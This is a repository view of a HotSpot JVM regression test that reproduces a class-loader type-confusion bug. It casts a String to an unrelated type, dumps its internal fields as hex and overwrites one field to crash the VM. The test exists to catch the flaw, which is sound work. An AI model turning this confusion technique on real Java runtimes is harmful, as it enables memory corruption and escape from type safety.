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comparison test/runtime/6626217/bug_21227.java @ 1715:495caa35b1b5

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6977952: Test: Sync missing tests from hs16.3 to hs17.x Reviewed-by: wrockett
author asaha
date Tue, 17 Aug 2010 22:52:50 -0700
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1714:f121b2772674 1715:495caa35b1b5
1
2 import java.lang.reflect.*;
3 import java.security.*;
4
5 abstract public class bug_21227 {
6
7 // Jam anything you want in here, it will be cast to a You_Have_Been_P0wned
8 public static Object _p0wnee;
9
10 public static void main(String argv[]) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
11 System.out.println("Warmup");
12
13 // Make a Class 'many_loader' under the default loader
14 bug_21227 bug = new many_loader();
15
16 // Some classes under a new Loader, LOADER2, including another version of 'many_loader'
17 ClassLoader LOADER2 = new Loader2();
18 Class clazz2 = LOADER2.loadClass("from_loader2");
19 IFace iface = (IFace)clazz2.newInstance();
20
21 // Set the victim, a String of length 6
22 String s = "victim";
23 _p0wnee = s;
24
25 // Go cast '_p0wnee' to type You_Have_Been_P0wned
26 many_loader[] x2 = bug.make(iface);
27
28 many_loader b = x2[0];
29
30 // Make it clear that the runtime type many_loader (what we get from the
31 // array X2) varies from the static type of many_loader.
32 Class cl1 = b.getClass();
33 ClassLoader ld1 = cl1.getClassLoader();
34 Class cl2 = many_loader.class;
35 ClassLoader ld2 = cl2.getClassLoader();
36 System.out.println("bug.make() "+ld1+":"+cl1);
37 System.out.println("many_loader "+ld2+":"+cl2);
38
39 // Read the victims guts out
40 You_Have_Been_P0wned q = b._p0wnee;
41 System.out.println("q._a = 0x"+Integer.toHexString(q._a));
42 System.out.println("q._b = 0x"+Integer.toHexString(q._b));
43 System.out.println("q._c = 0x"+Integer.toHexString(q._c));
44 System.out.println("q._d = 0x"+Integer.toHexString(q._d));
45
46 System.out.println("I will now crash the VM:");
47 // On 32-bit HotSpot Java6 this sets the victim String length shorter, then crashes the VM
48 //q._c = 3;
49 q._a = -1;
50
51 System.out.println(s);
52
53 }
54
55 // I need to compile (hence call in a loop) a function which returns a value
56 // loaded from classloader other than the system one. The point of this
57 // call is to give me an abstract 'hook' into a function loaded with a
58 // foreign loader.
59 public abstract many_loader[] make( IFace iface ); // abstract factory
60 }
61